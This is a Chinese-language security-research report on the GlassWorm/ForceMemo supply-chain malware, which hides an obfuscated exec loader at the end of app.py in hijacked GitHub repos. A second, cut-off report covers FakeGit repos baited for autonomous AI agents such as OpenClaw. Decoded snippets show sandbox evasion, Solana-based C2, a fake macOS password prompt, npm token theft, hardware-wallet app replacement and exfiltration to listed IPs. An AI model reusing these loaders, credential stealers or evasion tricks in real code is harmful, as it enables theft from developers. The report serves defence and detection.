腾讯将持续跟进AI时代面临的新型威胁态势，为拥抱AI的每位用户保驾护航。

腾讯安全科恩实验室威胁情报团队近期在日常运营发现一个高度可疑的开源仓库：github.com/zypsvl/tahmin-uygulamasi。 

这原本是一个再正常不过的 Streamlit 数据分析项目。有着中规中矩的 README、符合逻辑的代码结构和正常的提交历史。项目的原作者也是一位普通的开发者——在毫不知情的情况下，他的代码仓库已经成为了攻击者的武器。 

这起事件发生在一个特殊的时代背景下：Vibe Coding 热潮的全面爆发。 随着 Claude Code、Cursor、GitHub Copilot 成为标配，开发者编写代码的姿势正在发生不可逆的迁移。“让 AI 帮我写，让 AI 帮我跑”不仅极大提升了效率，也导致开发者对代码的“人工审查意愿断崖式下降。AI 工具，正在不经意间成为开发者与恶意代码之间危险的“信任中介”。

这并非一个孤立的事件。顺着这个看似正常的仓库向下深挖，我们发现这仅仅是一场针对现代开发者、有组织且极具破坏性的多阶段供应链投毒行动的冰山一角。

1. 第一层伪装：藏在正常代码尾部的混淆代码

首次打开受感染项目的 app.py，你很难在第一时间察觉到异样。

 文件的前 94 行是完全正常的 Python Streamlit 框架代码。逻辑清晰，注释合理，任何一个开发者，哪怕是 AI 助手在进行上下文分析时，都会认为这只是一个普通的应用脚本。 

然而，从第 95 行开始，画风突变——一段任何人都不会主动去阅读的超长 Base64 字符串，安静地蛰伏在文件末尾。

在传统的开发模式下，git diff 或者人工 Code Review 也许能捕捉到文件末尾的异常追加。但在 Vibe Coding 的场景中，开发者往往通过 AI 助手的终端提示直接执行 git pull 拉取代码并运行。AI 模型由于上下文限制，一般不会主动阅读全文并跳出来警告你：“嘿，这个文件的作者提交时间和 Committer 提交时间存在巨大的差异，且末尾有一段乱码。”

在“AI 说没问题就可以跑”的心理惯性下，这段毒代码就这样大摇大摆地进入了开发者的执行环境。

# -*- coding: utf-8 -*-
aqgqzxkfjzbdnhz = __import__('base64')
wogyjaaijwqbpxe = __import__('zlib')
idzextbcjbgkdih = 134
qyrrhmmwrhaknyf = lambda dfhulxliqohxamy, osatiehltgdbqxk: bytes([wtqiceobrebqsxl ^ idzextbcjbgkdih for wtqiceobrebqsxl in dfhulxliqohxamy])
lzcdrtfxyqiplpd = 'eNq9W1...[Base64_String]...'
runzmcxgusiurqv = wogyjaaijwqbpxe.decompress(aqgqzxkfjzbdnhz.b64decode(lzcdrtfxyqiplpd))
ycqljtcxxkyiplo = qyrrhmmwrhaknyf(runzmcxgusiurqv, idzextbcjbgkdih)
exec(compile(ycqljtcxxkyiplo, '<>', 'exec'))

为了防止被安全软件静态查杀，攻击者在这里构建了三层嵌套混淆，每一层都是一道防分析的门：

1. 第一层 Base64：将恶意代码伪装成普通的文本“数据”，绕过基于已知恶意关键字的静态扫描。

2. 第二层 zlib 压缩：进一步破坏代码的结构特征，降低信息熵，规避基于字符串匹配和熵值检测的杀毒引擎。

3. 第三层 XOR 134：动态还原逻辑。密钥 134 被硬编码在代码中（变量 idzextbcjbgkdih），但被无意义的随机变量名所掩盖。

最后，通过 exec(compile(...)) 直接在内存中编译执行载荷，确保明文的恶意代码永不落地到硬盘上。

2. 剥开混淆：解码后的 Python 载荷

当我们用脚本剥开这三层外衣，还原出真实的 Python 载荷时，一个架构成熟、极其克制的高级后门展现在我们面前。

2.1 规避与反分析：克制的猎手

这段代码有着多重对抗机制。 

首先是沙箱规避：主函数启动后直接调用 await asyncio.sleep(10)。这简单的 10 秒延时，足以耗尽大量自动化分析沙箱的执行时间限制，让沙箱得出“无恶意行为”的结论。

# Ждем 10 секунд перед выполнением (执行前等待 10 秒)
await asyncio.sleep(10)
# Проверка на русскую систему (检查是否为俄罗斯系统)
if _isRussianSystem():
print("Russian system detected, skipping execution")
return
def_isRussianSystem():
# Проверка языка системы (检查系统语言)
    username = os.getenv("USERNAME") or os.getenv("USER") or""
    lang = os.getenv("LANG", "")
    language = os.getenv("LANGUAGE", "")
    lc_all = os.getenv("LC_ALL", "")
# ...[检测 ru_RU, russian 等字符串]...

更值得注意的是其内置的地理围栏（Geo-fencing） 策略。代码中定义了 _isRussianSystem() 函数，它会细致地提取系统的语言环境变量（LANG, LANGUAGE, LC_ALL）、用户名、本地化设置以及系统时区信息。一旦检测到系统处于俄罗斯或相关俄语区，程序将直接静默退出。结合代码中留下的俄语注释，这是东欧网络犯罪组织的经典操作：绝不感染“自己人”，以此降低被本国执法机构打击的风险。

此外，为了降低自身行为的异常频率，它会在受害者主目录生成 ~/init.json 记录执行时间戳。只有距上次执行超过 2 天，才会启动恶意逻辑——这种极度的克制，使其能长期潜伏在开发者电脑中而不被察觉。

2.2 无法封堵的指挥中心：当 C2 藏进区块链

在追踪它的 C2（命令与控制）服务器时，我们遇到了最棘手的设计。它摒弃了传统的硬编码域名或 IP，而是将 C2 地址藏在了 Solana 区块链上。

代码中硬编码了一个 Solana 钱包地址（BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC），并内置了 9 个公开的 RPC 节点（如 Alchemy, Tatum 等）以保证极高的高可用性。攻击者只需要向这个钱包发送一笔交易，将新 C2 的加密 URL 写在交易的 Memo 字段中。脚本会遍历查询该地址的交易签名（getSignaturesForAddress），解析 Memo 数据并提取下阶段载荷的下载链接。

whilenot memo:
    signatures = await _getSignFAddress(
"BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC", {"limit": 1000}
    )
ifnotisinstance(signatures, list) orlen(signatures) == 0:
await asyncio.sleep(10)
continue
# Фильтрация транзакций с memo (过滤带有 memo 的交易)
    memo_transactions = [x for x in signatures if x and x.get("memo")]
if memo_transactions:
        memo = memo_transactions[0]["memo"]

传统的基于域名的 C2 一旦被安全厂商发现，很快就会被 DNS 阻断。但区块链是一个永不下线的公告板，任何人都无法删除链上的交易记录。当旧的 C2 暴露被封禁时，攻击者只需发一笔链上交易，就能指挥全球所有被感染的机器切换到新地址，而无需修改任何已部署的恶意代码。

2.3 静默入场：无感知的 Node.js 运行时投递

由于下一阶段的恶意载荷为 JavaScript，为了确保极高的跨平台兼容性，攻击者做了一个大胆的决定：自带运行环境。

脚本会根据当前操作系统的平台（Windows/Darwin/Linux）及架构（x86/arm64），动态拼接并下载官方 Node.js v22.9.0 的压缩包。它会将压缩包下载至用户的主目录（~）并直接解压调用。整个过程不需要系统管理员权限，也不会触发任何系统安装弹窗，真正做到了“静默入场”。

# Определяем URL для скачивания в зависимости от платформы (根据平台确定下载 URL)
system = platform.system()
machine = platform.machine().lower()
if system == "Windows":
if"amd64"in machine or"x86_64"in machine or"x64"in machine:
        url = "https://nodejs.org/download/release/v22.9.0/node-v22.9.0-win-x64.zip"
# ...
elif system == "Darwin":
if"arm"in machine or"aarch64"in machine:
        url = "https://nodejs.org/download/release/v22.9.0/node-v22.9.0-darwin-arm64.tar.gz"
# ...

更巧妙的是其对抗网络流量审计的AES 分离密钥机制。 

在向 C2 请求后续 JS 载荷时，HTTP 响应体（Body）里是被加密混淆的 JS 代码（uezupbxi）。而解密它所需的密钥 iv 和 secretKey，却被 Base64 编码后藏在了 HTTP 的响应头（Header）中（键名为 aXZiYXNlNjQ= 和 c2VjcmV0a2V5）。

传统依靠分析 Body 载荷的安全沙箱将无法解开此加密块——Body 和 Header 必须同时捕获并关联才能还原完整载荷，这种网络协议层的“骨肉分离”设计，实现了高强度的 Bypass。

2.4 隐蔽执行：不留痕迹的交接

为了执行这段费尽心机传进来的 JS 代码，Python 脚本会在当前目录动态生成一个中转 JS 文件 i.js。

在调用刚才下载的 Node.js 执行它时，如果是在 Windows 环境下，木马会特意通过 creationflags=subprocess.CREATE_NO_WINDOW 标志启动进程。这个参数的唯一作用，就是防止在启动 Node.js 时闪过哪怕一瞬间的黑色命令行窗口。此外，它还会附带特异性的 HTTP 请求头 os: <platform> 从服务端获取专属平台的载荷。

# Выполняем JS файл через Node.js (通过 Node.js 执行 JS 文件)
subprocess.Popen(
    [node_exe, js_file_path],
    stdout=subprocess.DEVNULL,
    stderr=subprocess.DEVNULL,
    creationflags=subprocess.CREATE_NO_WINDOW
if platform.system() == "Windows"
else0,
)

从 Python 到 Node.js 的接力，就这样悄无声息完成了。

3. 终极载荷：一次性掠夺你的数字资产

当 JavaScript 载荷在内存中解密并执行时，它不再小心翼翼。它是一台针对现代开发者数字资产和供应链权限量身定制的收割机，执行着极其冷酷的掠夺逻辑。

3.1 骗取 Root：一个假弹窗的代价

为了在 macOS 系统中执行高危操作（如替换系统级别的应用程序），木马需要 root 权限。

它没有选择硬核的提权漏洞，而是采用了一种极具欺骗性的社会工程学手段：使用 AppleScript 弹出一个伪造的系统授权对话框。

repeat
set result to display dialog "Required Application Helper. Please enter password for continue."default answer ""with icon caution buttons {"Continue"} default button "Continue" giving up after 150with title "Application wants to install helper"with hidden answer
set password_entered to text returned of result
ifcheckvalid(username, password_entered) then
        -- 验证成功后，将密码保存至本地，供后续高危操作使用
savePasswordToKeychain(password_entered)
writeText(password_entered, writemind & "pwd")
return password_entered
    end if
end repeat

这个弹窗在视觉上与 macOS 原生授权弹窗如出一辙。在“刚刚运行了一个开源项目”的语境下，受害者往往会认为这是环境安装过程中正常的权限请求。一旦受害者输入了开机密码，这就成了开启灾难的万能钥匙。

3.2 静默“勿扰模式”

在拿到密码并准备开始大量打包文件、发起异常网络请求前，代码执行了这样一条系统级命令： defaults write com.apple.notificationcenterui doNotDisturb -boolean true

这会强制开启 macOS 的“勿扰模式”。攻击者的心思缜密到了极点——他们担心在后续的数据外传过程中，系统防火墙或安全软件的报警弹窗会惊动受害者，因此提前屏蔽了所有的系统通知。

3.3 高价值数据收割机

接下来，木马开始在后台疯狂搜刮任何有价值的数据：

1. 浏览器全家桶劫持：遍历 Safari, Chrome, Edge, Brave 等所有主流浏览器，打包窃取 Cookies、浏览历史以及本地密码数据库（Login Data）。

2. 加密资产收割机：精准定位并窃取超过 40 种 Web3 浏览器插件（如 MetaMask, Phantom）的 IndexedDB 存储目录，以及桌面端冷钱包（如 Electrum, Exodus, Wasabi）的本地数据。

3. 开发者核心命脉：窃取 ~/.ssh/ 下的所有私钥对、~/.aws/ 云环境凭证。甚至扫描 Desktop、Documents、Downloads 文件夹，搜刮所有小体积的高敏文档（.key, .wallet, .pdf）。

3.4 供应链纵深打击：你的 Token 沦为下一轮传播的起点

对于攻击者而言，普通开发者最值钱的往往不是加密货币，而是他们的生态信任。木马内置了专门的 Handler 模块，用于窃取 GitHub 和 NPM 的访问令牌（Token）。

它不仅扫描 .git-credentials，还会精准提取 VSCode 插件缓存在全局状态中的鉴权 Token。以 NPM 令牌窃取模块为例，代码不仅窃取 Token，还会实时向官方 API 验证其有效性：

varNpmTokenHandler = class {
getFromNpmrcFile() {
try {
const npmrcPath = path.join(os2.homedir(), ".npmrc");
if (fs.existsSync(npmrcPath)) {
const content = fs.readFileSync(npmrcPath, "utf8");
const tokenMatch = content.match(/_authToken=(.+)/);
if (tokenMatch) return tokenMatch[1].trim();
      }
returnnull;
    } catch (error) { returnnull; }
  }
asyncverifyToken() {
try {
const response = awaitfetch(`https://registry.npmjs.org/-/whoami`, {
headers: { Authorization: `Bearer ${this.token}`, "Content-Type": "application/json" }
      }).then((res) => res.json());
return { valid: true, username: response, token: this.token };
    } catch (error) { return { valid: false }; }
  }
};

有效的高权限 Token，将被攻击者直接用于横向扩散——用受害者的名义，向其维护的开源仓库继续投毒。被感染的开发者在不知情的情况下，被迫成为了下一批受害者的传播源。

3.5 最阴险的一击：狸猫换太子

如果在受害者的电脑里发现了 Ledger Live 或 Trezor Suite （两大著名硬件冷钱包的桌面客户端），木马将展现出它最令人不安的一面。

on installWallet(walletType, baseURL, installDir)
if walletType is"trezor" then
set downloadURL to baseURL &"darwin-universal/3JqStAJCgGftaOafUiGG1A%3D%3D?wallet=trezor"
set appsToRemove to {"/Applications/Trezor Suite.app"}
elseif walletType is"ledger" then
set downloadURL to baseURL &"darwin-universal/3JqStAJCgGftaOafUiGG1A%3D%3D?wallet=ledger"
set appsToRemove to {"/Applications/Ledger Live.app", "/Applications/Ledger Wallet.app"}
    end if
--... [省略：下载黑客服务器上带有后门的伪造同名应用 ZIP] ...
repeat with appPath in appsToRemove
if (do shell script "test -d "& quoted form of appPath &" && echo exists || echo not_found") is"exists" then
            my removeExistingApp(appPath) -- 杀掉进程并强行删除官方正版 App
        end if
    end repeat
-- 移除被覆盖写入的恶意 App 的 macOS 安全隔离标记
do shell script "xattr -c "& quoted form of extractedApp &" 2>/dev/null || true"
do shell script "xattr -dr com.apple.quarantine "& quoted form of extractedApp &" 2>/dev/null || true"
end installWallet

这是整个攻击链中破坏力最大、隐蔽性最强的环节。木马利用前面骗到的 root 权限，在后台强行卸载了正版的硬件钱包客户端，并将黑客特制的后门版客户端（带钓鱼表单收集助记词）覆盖到原路径。

它甚至细致到移除了 macOS 的 com.apple.quarantine 隔离标记，以防受害者打开被替换的 App 时弹出“应用是从互联网下载”的安全警告。冷钱包本是防御网络攻击的最后堡垒，但在这种级别的终端控制面前，就算是“冷钱包”也很难逃脱收割。

3.6 持久驻留与数据外传

在完成所有的洗劫和替换后，木马将战利品打包为 /tmp/out.zip，并以 HTTP POST 方式传输出境（如 208.76.223.59/p2p）。同时，它向 macOS 系统写入了一个 LaunchAgents 启动项（com.user.nodestart.plist），确保电脑每次开机，它都能自行启动。

4. 溯源拓线：一个变量名，暴露了数百个感染仓库

分析完样本后，我们尝试将其中一个混淆变量dfhulxliqohxamy输入到 GitHub 的全局代码搜索中——

返回的结果，让我们瞬间沉默。

数百个仓库的 app.py 或 setup.py 中，赫然包含着完全相同的 Base64 毒代码。横跨了数百个不同的 GitHub 开发者账户，涵盖了 Django 项目、机器学习研究代码、Flask API 乃至各种 PyPI 辅助包。

这不是个案，这是一场有组织的血洗。

我们分析了这些被感染的仓库（如 amirasaran/django-restful-admin），发现了攻击者注入代码的手法：Force-Push（强制推送）。

攻击者利用窃取来的合法开发者 GitHub Token，在本地修改代码后，使用 --force 选项直接覆盖远程仓库的历史。为了掩人耳目，他们篡改了 Git 的 Author Date（作者提交时间）以伪装成过去的正常提交。但他们自动化工具链的疏忽，留下了无法抹除的指纹——Committer Date（提交者时间）与 Author Date 往往相差几个月甚至数年；且 Committer 的邮箱，被统一设置为了字符串 "null"。

Vibe Coding 场景：AI 工具成为传播加速器

当我们复盘这些受感染的仓库是如何造成二次传播时，我们发现了 AI 时代供应链攻击的另一个致命推手。

在遇到某个缺少文档的开源库时，现今的开发者往往会直接问 Cursor 或 Claude：“帮我写个脚本引入这个功能，并告诉我怎么安装。” 为了“方便”，AI 助手经常会跳过官方包管理器的复杂校验，直接生成如下指令： pip install git+https://github.com/amirasaran/django-restful-admin.git

开发者习惯性地复制、粘贴、回车。没有代码审查，没有安全警告，被污染的代码借由 AI 工具的“便利性”，顺理成章地跑在了更多开发者的电脑上。

这构成了这场供应链蠕虫攻击的完美闭环：

5. 关联外部报告：我们的发现与行业情报高度吻合

随着溯源的深入，我们将此次攻击关联到了近期安全社区密切追踪的 GlassWorm / ForceMemo 恶意活动。我们独立分析的样本特征，与 StepSecurity、Aikido 等安全机构披露的情报在技术细节上高度吻合，这也从宏观侧面印证了这场猎杀行动的庞大规模。

时间线还原：

• 2025 年 11 月 - 2026 年 2 月：攻击者在 Solana 链上部署 C2 基础设施，早期主要活跃在 Vultr 托管的服务器上，频繁通过链上 Memo 交易更新下发载荷的 URL。

• 2026 年 3 月初（GlassWorm 爆发）：Aikido 报告指出，大量恶意 VSCode/Cursor 扩展被植入针对开发者的远控木马，成为供应链感染的“零号病人”。

• 2026 年 3 月中（ForceMemo 波次）：正如我们所分析的样本，攻击者利用前期窃取的 Token，通过账号劫持和 Force-Push，批量污染了超过 240+ 个高星 Python 仓库（StepSecurity 披露数据）。

链上暴露的基础设施与极高的 ROI： 我们通过追踪样本中硬编码的 Solana 钱包地址，还原了其 2026 年 2 月底在链上暴露的完整 C2 配置：

{
"c2server":"http://217.69.11.99:5000",
"checkIp":"http://217.69.11.99",
"dht_data":"217.69.11.99:10000"
}

6. 受害者画像：这颗子弹，专门为你铸造

这场行动影响最近直接的目标，毫无疑问是——现代全栈开发者与 AI/Web3 极客。

1. 经济价值维度：攻击者深知，在这个时代，程序员群体的电脑是离加密货币最近的地方。同时兼具热钱包（MetaMask）和冷钱包（Ledger/Trezor 桌面端）管理习惯的开发者，是他们眼中的“肥羊”。

2. 技术依赖度维度：高度依赖 NPM、GitHub、VSCode 生态。习惯于直接调用开源包，习惯于用命令行管理鉴权 Token。攻击者正是利用了这种技术习惯，将开发者变成了最好的“宿主”和“传播节点”。

3. 行业属性维度：Web3 开发者、AI 大模型应用开发者、独立 Hacker——这类人群由于业务需求，往往有着极高的开源社区活跃度，且代码拉取行为频繁，完美落入攻击手法的覆盖范围。

7. 威胁指标 (IoCs) 汇总表

IoC 类型	值 / 描述	备注
XOR 密钥	134	用于动态还原 app.py 混淆载荷
混淆特征	dfhulxliqohxamy lzcdrtfxyqiplpd	Python 代码中固定的随机变量名
加密货币地址	BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC	硬编码的 Solana 钱包（C2 指令源）
文件路径	~/init.json  / %USERPROFILE%\init.json	频率控制标记文件（两天冷却期）
启动项留存	~/Library/LaunchAgents/com.user.nodestart.plist	macOS 开机自启服务配置文件
网络请求头	os: <platform>	请求下放载荷时的特异性标头
网络响应头	ivbase64  & secretkey	用于解密 Stage 2 载荷的 AES 密钥
C2 外发地址	208.76.223.59/p2p 208.85.20.124/wall	接收 /tmp/out.zip 的窃密服务器 IP
C2 载荷分发	217.69.0.159 45.76.44.240 217.69.11.99	载荷及钓鱼钱包（Ledger/Trezor）下载源

本次攻击事件影响范围较广，我们呼吁有使用Vibe Coding工具的开发者，请立即在终端执行以下检查：

# 检查项目目录是否存在恶意标记变量
grep -r "lzcdrtfxyqiplpd" .
# 检查是否有异常的后台 Node.js 安装
ls -la ~/node-v22*
# 检查恶意频率控制文件
cat ~/init.json
# 检查 macOS 的恶意外挂服务
ls ~/Library/LaunchAgents/com.user.nodestart.plist

(一旦中招或使用过 Ledger/Trezor 桌面端，请立刻断网、重新在官网验证签名下载应用，并吊销重置所有的 GitHub/NPM Token 及云凭证。)

8. 结语：氛围编程时代，信任是最贵的漏洞

本次行动的可怕之处，不在于其恶意代码有多么精妙和难以检测。其真正的杀伤力，在于它精准捕获了 Vibe Coding 时代的脆弱性。

AI 编程工具极大地降低了代码编写的门槛，也同时降低了安全审查的心理防线。开发者越来越倾向于“信任”AI，而 AI 又默认“信任”了那些看似官方的 GitHub 仓库。在这条不断延长的信任链条中，攻击者只需在一端轻轻注入一滴毒液，污染就会借由便利的工具，瞬间流传至成百上千台主机的血管中。

供应链攻击的根本土壤，是“信任的传递性”——你信任的人的仓库，可能已经不再属于他。

在这个“回车即运行”、AI 替你接管一切的时代，当你敲下 pip install 或者按下 Claude 的 Accept 按钮时，请记住： 你引入的不仅是一段代码，更是整条信任链上所有开发者的安全底线。而在氛围编程时代，盲目的信任，就是最昂贵的零日漏洞。

针对OpenClaw安全风险，腾讯推出多场景安全防护矩阵：

本地个人：

腾讯电脑管家 18.0 版本提供「龙虾管家-AI安全沙箱」，无需复杂配置、一键即可为 “龙虾” 开启隔离运行环境，并通过AI实时运行保护和漏洞防护，实现 “龙虾” 的全流程防护。

本地企业：

腾讯iOA提供 “威胁源头——执行过程——数据出口” 全链路龙虾防护

云端部署：

Lighthouse原生安全 Lighthouse与腾讯云ClawPro自带云端物理防爆箱：环境隔离、最小化端口放行、一键快照回滚
AI Agent安全中心 盘点AI Agent资产，管控Agent行为，防范skills风险，保护密钥凭据，深度审计和全链路溯源
AI Agent安全网关 AI Agent身份凭据安全，防提示词注入，内容安全，数据防泄露，Token限流
Agent Runtime 提供VM级强隔离、网络隔离、文件隔离、零凭证访问等能力，支持数十万实例并发

Skills安全：

EdgeOne ClawScan 一句话即可让龙虾自己安装，自动 “体检” 并输出报告 

HaS Anonymizer 隐私保护，支持文本 / 图片信息扫描、脱敏和还原 

威胁情报中心 Skills安全检测，构建覆盖互联网威胁发现与未知样本检测的全方面防护能力

腾讯将持续跟进AI时代面临的新型威胁态势，为拥抱AI的每位用户保驾护航。

附录：参考链接

• StepSecurity: ForceMemo: Hundreds of GitHub Python Repos Compromised via Account Takeover and Force-Push (2026-03-14) 

  https://www.stepsecurity.io/blog/forcememo-hundreds-of-github-python-repos-compromised-via-account-takeover-and-force-push

• Aikido: GlassWorm Hides a RAT Inside a Malicious Chrome Extension (2026-03-18) 

  https://www.aikido.dev/blog/glassworm-chrome-extension-rat

• BleepingComputer: GlassWorm malware hits 400+ code repos on GitHub, npm, VSCode, OpenVSX (2026-03-17) 

  https://www.bleepingcomputer.com/news/security/glassworm-malware-hits-400-plus-code-repos-on-github-npm-vscode-openvsx/

• SC World: GlassWorm campaign evolves: ForceMemo attack targets Python repositories via stolen GitHub tokens (2026-03-17) 

  https://www.scworld.com/brief/glassworm-campaign-evolves-forcememo-attack-targets-python-repositories-via-stolen-github-tokens

• AlphaHunt: [DEEP RESEARCH] How Malware Uses Solana and EVM Chains to Rotate C2 Without Burning Infrastructure (2026-03-19) 

  https://blog.alphahunt.io/deep-research-how-malware-uses-solana-and-evm-chains-to-rotate-c2-without-burning-infrastructure/

你打开 OpenClaw，对着小龙虾的对话框输入一行需求：

"帮我找一个能抓取某社交平台 APP 图文数据的工具，直接装好。"

这是 2026 年初，数以万计的AI爱好者每天都在做的事。这款爆火的开源 AI 智能体，让"让 AI 替你干活"从口号变成了现实——它不只是聊天，它会自己去 GitHub 搜索、评估、克隆、安装，全程无需人工介入。国内各大技术社区被"龙虾"刷屏，非技术圈的人也开始问"你装了吗"。

几秒钟后，OpenClaw 返回了一个搜索结果：damiansilverado/xhs_one_spider，README 完善，描述精准，Star 数看起来不错。它询问你是否确认安装。

你点了确认。

Launch.cmd 静默启动。gcc.exe 加载 ptd.txt。你的屏幕截图和浏览器隐私信息，正在悄悄飞往境外的一台服务器。

你对背后发生的事情一无所知。

腾讯安全科恩实验室威胁情报团队最新发现的 FakeGit 攻击事件，揭示了攻击者为 AI Agent 时代量身定制的猎杀逻辑：攻击者不再需要诱导你点击链接，只需要让你的 AI 助手替你完成这一切。 恶意逻辑寄生在合法的 LuaJIT 解释器中，集结了高强度自定义 VM 混淆、无文件 PE 镂空（Process Hollowing）以及基于 Polygon 主网的区块链 C2 隐藏技术（EtherHiding）。而这，只是攻击者在 GitHub 上精心布局的 5 个同构仓库矩阵中的一个节点。

攻击者精准捕捉到了时代的阵痛：AI 与 SaaS 全链路开发的集成焦虑。 随着国产大模型与 AIGC 产业的爆发，开发者对高质量语料、大模型接入工具、AI Agent 框架以及自动化运维组件的渴求已近乎狂热。这种急于将 AI 能力集成到产品中、抢占技术红利的迫切心态，我们称之为“集成焦虑”——它直接催生了一片安全防御的真空地带：当一个看似专业的开源工具出现在搜索结果前列时，极少有人会去审视其代码深处的阴影。

而 OpenClaw 的爆火，将这一趋势推向了新的临界点：当 AI Agent 被授权自主搜索、安装、执行 GitHub 上的工具时，人工审计这道最后的防线，已经从流程中彻底消失。FakeGit 矩阵的设计者，显然预见到了这一天。本文将深度复盘这场数字围猎，拆解其背后的硬核攻防博弈。

一、 顺藤摸瓜：FakeGit 虚假开源矩阵的深度挖掘

调查的起点源于我们在失陷机器发现的一个极其平庸的“诱饵”：一个名为 one-xhs-spider-v1.7.zip 的压缩包，托管在 GitHub 账号 damiansilverado 的仓库 xhs_one_spider 中，声称能绕过某社交平台 APP 的图文抓取限制。

1. 诱饵暴露：隐秘的截图外传

解压后，压缩包内只有三个文件：一个名为 gcc.exe 的“编译器”、一个名为 ptd.txt 的“配置文件”，以及一个 Launch.cmd 启动脚本。表面上，这是一个再正常不过的工具包——gcc.exe 甚至能通过大多数杀毒软件的签名校验，因为它本就是一个合法的 LuaJIT 解释器。

当我们解开其伪装时，首先捕捉到的是其背后跳动的 C2 脉搏。通过对流量的初步分析，我们定位到了一个位于德国的 IP 地址 213.176.73.162。在这里，受害者的屏幕截图被源源不断地以 multipart/form-data 格式上传至端点 /api/NTE3YjdjNWU1NjYzNjU2YTA1N2Y=。这种定时心跳机制预示着这绝非业余黑客的随手之作，而是一场精密工业化活动的冰山一角。

2. 载荷追踪：寄生在 GitHub 上的加密中转站

顺着 C2 的网络回连请求，我们发现这个端点并非只是一个“截图收件箱”——它同时承担着下发指令的职责。在分析 C2 的响应内容时，我们截获了一段关键的 Lua 热补丁代码。为了躲避防火墙的域名黑名单，攻击者并未直接下载后续载荷，而是利用了 GitHub 官方域名的信任背书。

通过逆向分析，我们锁定了其载荷中转仓库（Dead Drop）：github.com/mahmudul-riad/www。在这个名为“index”的目录下，隐藏着数个加密的文本文件。其中 7.txt 是混淆的 Lua 脚本，而 8.txt 则封装了最终的木马真身。利用 GitHub 作为托管载荷的基础设施，攻击者成功实现了“寄生式分发”——只要 GitHub 在，投毒链就永远存活。

3. "FakeGit" 矩阵：工业化伪造下的开源生态

这不只是一个独立的爬虫投毒。通过进一步的情报交叉比对，一个代号为 "FakeGit" 的庞大活动浮出水面。我们发现，这组攻击者通过自动化工具在 GitHub 上批量注册了大量看似毫无关联的账号，并发布了一系列针对性极强的开源仓库矩阵。

每一个仓库都精准踩中了当下的技术热点，如同一张编制严密的捕鱼网：

• 针对数据采集：伪装成某社交平台 APP 爬虫工具的 xhs_one_spider（one-xhs-spider-v1.7）；

• 针对 AI 应用开发：伪装成大模型接入工具的 kimi-voxel 和 AI 开发规范配置工具 ai-specs；

• 针对 SaaS 编排：伪装成 OpenAI 兼容 API 服务的 flow2api（api_flow_1.0）；

3.1 仓库矩阵全景

以下是我们确认的全部仿冒仓库及其恶意载荷下载地址：

GitHub 账号	仓库名	伪装主题	恶意 ZIP 路径
damiansilverado	xhs_one_spider	某社交平台 APP 数据爬虫	ferryway/one-xhs-spider-v1.7.zip
adeelakhit	kimi-voxel	Kimi AI 体素引擎	src/gpu/terrain/gpu/voxel-kimi-resistively.zip
sanjusathian	ai-specs	AI 开发规范配置	ai-specs/.agents/ai-specs-1.5.zip
arashfr933	flow2api	OpenAI 兼容 API 服务	src/core/api_flow_1.0.zip

3.2 解剖一个"完美诱饵"：ai-specs 的文字套路

五个仓库的 README 呈现出高度一致的结构，这是 AI 批量生成内容的典型指纹。以 sanjusathian/ai-specs 为例，其仓库描述为：

📁 Streamline AI development with comprehensive rules and configurations for consistent, high-quality coding across multiple AI copilots.

（中文翻译：通过全面的规则和配置简化 AI 开发，确保多个 AI 副驾驶的一致性和高质量编码。）

这句话读起来专业、权威——"AI 开发规范配置"确实是一个真实存在的开发者需求（如 .cursorrules、Copilot 指令文件），攻击者精准踩中了这个痛点。但仔细审视 README 的内容，六处破绽逐一浮现：

① 标题 emoji 堆砌，内容空洞：每个章节都有 emoji 装饰（🚀 Getting Started、📥 Download Now、✅ System Requirements），营造出活跃开源项目的视觉感，但功能描述极度空洞——Select AI Configurations / Set Development Rules / Save Your Settings，没有任何具体的技术细节。

② 安装步骤暴露 AI 生成的逻辑漏洞：README 的"安装步骤"第 4 步写道：

Double-click on the application file. This may be named https://raw.githubusercontent.com/.../ai-specs-1.5.zip for Windows.

把一个 HTTP 下载链接当作"应用程序文件名"——这是 AI 生成内容在逻辑自洽但现实荒谬时的典型特征。真实的开源工具不会把 raw URL 写进安装说明。

③ 恶意 ZIP 藏在隐藏目录：载荷路径为 ai-specs/.agents/ai-specs-1.5.zip，.agents 是以点号开头的隐藏目录，在 GitHub 网页界面默认折叠，进一步降低被发现的概率。

④ 系统需求千篇一律：五个仓库的系统需求几乎完全相同——Windows 10+、macOS 10.14+、4 GB RAM、200–500 MB 磁盘空间——这是同一套 AI 提示词批量生成的直接证据。

⑤ 贡献指南作为可信度背书：每个仓库都有"欢迎贡献"章节，Fork → Edit → Pull Request 三步流程，模拟真实开源项目的社区氛围，降低受害者的警惕心。

⑥ 仓库名与内容语义断裂：kimi-voxel 的 README 描述的是一个"体素游戏引擎"，与 Kimi AI 毫无关系；ai-specs 声称是"AI 开发规范"，但安装步骤是双击 ZIP 运行一个"应用程序"。攻击者只需要仓库名包含热门关键词，内容是否自洽并不重要。

这些仓库不仅有 AI 生成的完善文档，甚至在账号注册时间、仓库创建节奏上都呈现出工业化批量操作的痕迹。这种工业化伪造矩阵的存在，标志着供应链投毒已从早期的"单点突袭"进化为"生态化围猎"。对于攻击者而言，只要有一个诱饵被开发者选中，整个"致命分身"的感染逻辑就会瞬间启动。

二、 样本解剖：Lua/Agent.BT 变体的完整执行链路

在揭露了 FakeGit 矩阵的宏观布局后，我们将镜头拉近到单个样本的微观世界。然而，等待我们的第一个挑战，是这个样本在静态分析层面构筑的铜墙铁壁——针对 FakeGit 矩阵核心载荷 gcc.exe(a5edd208f0f92184a06b9dfb8eb5acee)的分析，静态逆向面临严重阻碍。本节将按照实际执行时序，分三个阶段详细阐述其混淆机制、运行时行为与底层规避技术，以及我们在 Linux 环境中利用原生 LuaJIT 配合"假 PE 内存映像"与"透明仿真层"实现动态突围的完整技术链路。

阶段一：ptd.txt — 侦察与热补丁获取

1.1 静态对抗：高强度 Lua VM 混淆与常量池

分发包中的可执行文件 gcc.exe 实为剥离了符号表的合法 LuaJIT 2.1.0-beta3 解释器。真正的恶意逻辑位于同目录下的 ptd.txt 文件中。受害者解压后点击 Launch.cmd，其内部仅有一行：

start gcc.exe ptd.txt

ptd.txt 是一段应用了高强度自定义 VM 混淆的单行 Lua 脚本。其并未采用传统的 Base64 编码，而是依赖极度碎片化的动态组装：

1. 庞大的 P Table：代码中嵌入了体积高达 114KB 的加密常量池（全局表 h），被数以百计的加减运算频繁引用。

